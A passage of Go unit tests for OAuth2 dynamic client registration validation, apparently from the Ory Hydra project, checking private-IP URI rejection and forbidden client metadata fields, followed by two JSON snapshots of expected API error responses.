v.ValidateDynamicRegistration(ctx, &Client{RequestURIs: []string{"https://google", "https://localhost:1234"}}), "invalid_client_metadata") c.MustSet(ctx, config.KeyClientHTTPNoPrivateIPRanges, false) require.NoError(t, v.ValidateDynamicRegistration(ctx, &Client{})) require.NoError(t, v.ValidateDynamicRegistration(ctx, &Client{JSONWebKeysURI: "https://localhost:1234"})) require.NoError(t, v.ValidateDynamicRegistration(ctx, &Client{BackChannelLogoutURI: "https://localhost:1234"})) require.NoError(t, v.ValidateDynamicRegistration(ctx, &Client{RequestURIs: []string{"https://google", "https://localhost:1234"}})) } func TestValidateDynamicRegistration(t *testing.T) { ctx := context.Background() c := internal.NewConfigurationWithDefaults() c.MustSet(ctx, config.KeySubjectTypesSupported, []string{"pairwise", "public"}) c.MustSet(ctx, config.KeyDefaultClientScope, []string{"openid"}) reg := internal.NewRegistryMemory(t, c, &contextx.Static{C: c.Source(ctx)}) testCtx := context.TODO() v := NewValidator(reg) for k, tc := range []struct { in *Client check func(t *testing.T, c *Client) expectErr bool v func(t *testing.T) *Validator }{ { in: &Client{ LegacyClientID: "foo", PostLogoutRedirectURIs: []string{"https://foo/"}, RedirectURIs: []string{"https://foo/"}, Metadata: []byte("{\"access_token_ttl\":10}"), }, expectErr: true, }, { in: &Client{ LegacyClientID: "foo", PostLogoutRedirectURIs: []string{"https://foo/"}, RedirectURIs: []string{"https://foo/"}, Metadata: []byte("{\"id_token_ttl\":10}"), }, expectErr: true, }, { in: &Client{ LegacyClientID: "foo", PostLogoutRedirectURIs: []string{"https://foo/"}, RedirectURIs: []string{"https://foo/"}, Metadata: []byte("{\"anything\":10}"), }, expectErr: true, }, { in: &Client{ LegacyClientID: "foo", PostLogoutRedirectURIs: []string{"https://foo/"}, RedirectURIs: []string{"https://foo/"}, }, check: func(t *testing.T, c *Client) { assert.EqualValues(t, "foo", c.LegacyClientID) }, }, } { t.Run(fmt.Sprintf("case=%d", k), func(t *testing.T) { if tc.v == nil { tc.v = func(t *testing.T) *Validator { return v } } err := tc.v(t).ValidateDynamicRegistration(testCtx, tc.in) if tc.expectErr { require.Error(t, err) } else { require.NoError(t, err) tc.check(t, tc.in) } }) } }
JSON
hydra/client/.snapshots/TestClientSDK-case=id_can_not_be_set.json
{ "error": "The request was malformed or contained invalid parameters", "error_description": "It is no longer possible to set an OAuth2 Client ID as a user. The system will generate a unique ID for you." }
JSON
hydra/client/.snapshots/TestHandler-case=selfservice_with_incorrect_or_missing_auth-endpoint=selfservice-method=DELETE-without_auth.json
{ "body": { "error": "The request could not be authorized", "error_description": "The requested OAuth 2.0 client does not exist or you provided incorrect credentials." }, "status": 401 }